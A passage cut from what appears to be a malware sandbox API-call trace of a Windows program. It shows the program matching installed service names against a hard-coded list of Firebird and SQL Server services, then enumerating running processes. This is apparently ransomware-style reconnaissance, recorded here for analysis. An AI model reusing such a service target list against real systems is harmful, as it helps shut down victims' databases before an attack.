lpString2="LSM") returned 1 [0133.240] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0133.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0133.240] lstrlenW (lpString="MapsBroker") returned 10 [0133.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0133.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0133.240] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0133.240] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0133.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0133.240] lstrlenW (lpString="MpsSvc") returned 6 [0133.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0133.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0133.240] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0133.240] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0133.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0133.240] lstrlenW (lpString="NcbService") returned 10 [0133.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0133.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0133.240] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0133.240] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0133.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0133.240] lstrlenW (lpString="netprofm") returned 8 [0133.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0133.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0133.240] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0133.240] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0133.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0133.240] lstrlenW (lpString="NlaSvc") returned 6 [0133.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0133.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0133.241] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0133.241] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0133.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0133.241] lstrlenW (lpString="nsi") returned 3 [0133.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0133.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0133.241] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0133.241] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0133.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0133.241] lstrlenW (lpString="PcaSvc") returned 6 [0133.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0133.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0133.241] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0133.241] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0133.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0133.241] lstrlenW (lpString="PlugPlay") returned 8 [0133.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0133.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0133.241] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0133.241] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0133.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0133.241] lstrlenW (lpString="Power") returned 5 [0133.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0133.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0133.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0133.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0133.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0133.241] lstrlenW (lpString="ProfSvc") returned 7 [0133.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0133.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0133.241] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0133.241] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0133.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0133.241] lstrlenW (lpString="RpcEptMapper") returned 12 [0133.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0133.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0133.242] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0133.242] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0133.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0133.242] lstrlenW (lpString="RpcSs") returned 5 [0133.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0133.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0133.242] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0133.242] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0133.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0133.242] lstrlenW (lpString="SamSs") returned 5 [0133.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0133.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0133.242] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0133.242] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0133.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0133.242] lstrlenW (lpString="Schedule") returned 8 [0133.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0133.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0133.242] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0133.242] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0133.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0133.242] lstrlenW (lpString="SecurityHealthService") returned 21 [0133.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0133.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0133.242] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0133.242] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0133.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0133.242] lstrlenW (lpString="SENS") returned 4 [0133.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0133.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0133.242] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0133.242] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0133.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0133.242] lstrlenW (lpString="ShellHWDetection") returned 16 [0133.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0133.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0133.243] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0133.243] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0133.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0133.243] lstrlenW (lpString="Spooler") returned 7 [0133.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0133.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0133.243] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0133.243] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0133.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0133.243] lstrlenW (lpString="SSDPSRV") returned 7 [0133.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0133.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0133.243] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0133.243] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0133.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0133.243] lstrlenW (lpString="StateRepository") returned 15 [0133.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0133.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0133.243] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0133.243] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0133.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0133.243] lstrlenW (lpString="SysMain") returned 7 [0133.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0133.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0133.243] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0133.243] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0133.243] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x69bb60 | out: hHeap=0x5a0000) returned 1 [0133.243] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10b4 [0133.248] Process32FirstW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.251] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0133.251] lstrlenW (lpString="System") returned 6 [0133.252] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0133.252] lstrlenW (lpString="smss.exe") returned 8 [0133.252] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.258] lstrlenW (lpString="csrss.exe") returned 9 [0133.258] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0133.259] lstrlenW (lpString="wininit.exe") returned 11 [0133.259] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.260] lstrlenW (lpString="csrss.exe") returned 9 [0133.260] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0133.261] lstrlenW (lpString="winlogon.exe") returned 12 [0133.261] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0133.261] lstrlenW (lpString="services.exe") returned 12 [0133.261] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0133.262] lstrlenW (lpString="lsass.exe") returned 9 [0133.262] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.263] lstrlenW (lpString="svchost.exe") returned 11 [0133.263] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0133.264] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0133.264] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0133.264] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0133.264] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.265] lstrlenW (lpString="svchost.exe") returned 11 [0133.265] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0133.266] lstrlenW (lpString="dwm.exe") returned 7 [0133.266] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.266] lstrlenW (lpString="svchost.exe") returned 11 [0133.267] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.267] lstrlenW (lpString="svchost.exe") returned 11 [0133.267] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.268] lstrlenW (lpString="svchost.exe") returned 11 [0133.268] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.269] lstrlenW (lpString="svchost.exe") returned 11 [0133.269] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.269] lstrlenW (lpString="svchost.exe") returned 11 [0133.269] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.270] lstrlenW (lpString="svchost.exe") returned 11 [0133.270] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.271] lstrlenW (lpString="svchost.exe") returned 11 [0133.271] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.381] lstrlenW (lpString="svchost.exe") returned 11 [0133.381] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.382] lstrlenW (lpString="svchost.exe") returned 11 [0133.382] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0133.382] lstrlenW (lpString="spoolsv.exe") returned 11 [0133.382] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.383] lstrlenW (lpString="svchost.exe") returned 11 [0133.383] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.384] lstrlenW (lpString="svchost.exe") returned 11 [0133.384] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0133.385] lstrlenW (lpString="audiodg.exe") returned 11 [0133.385] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0133.385] lstrlenW (lpString="sihost.exe") returned 10 [0133.385] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.386] lstrlenW (lpString="svchost.exe") returned 11 [0133.386] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0133.387] lstrlenW (lpString="taskhostw.exe") returned 13 [0133.387] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0133.387] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0133.387] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0133.388] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0133.388] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0133.389] lstrlenW (lpString="explorer.exe") returned 12 [0133.389] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0133.390] lstrlenW (lpString="Memory Compression") returned 18 [0133.390] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0133.390] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0133.390] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0133.391] lstrlenW (lpString="SearchUI.exe") returned 12 [0133.391] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0133.392] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0133.392] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0133.392] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0133.392] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0133.393] lstrlenW (lpString="taskhostw.exe") returned 13 [0133.393] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0133.394] lstrlenW (lpString="UsoClient.exe") returned 13 [0133.394] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0133.394] lstrlenW (lpString="msoia.exe") returned 9 [0133.394] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0133.395] lstrlenW (lpString="taskhostw.exe") returned 13 [0133.395] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0133.396] lstrlenW (lpString="msoia.exe") returned 9 [0133.396] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, 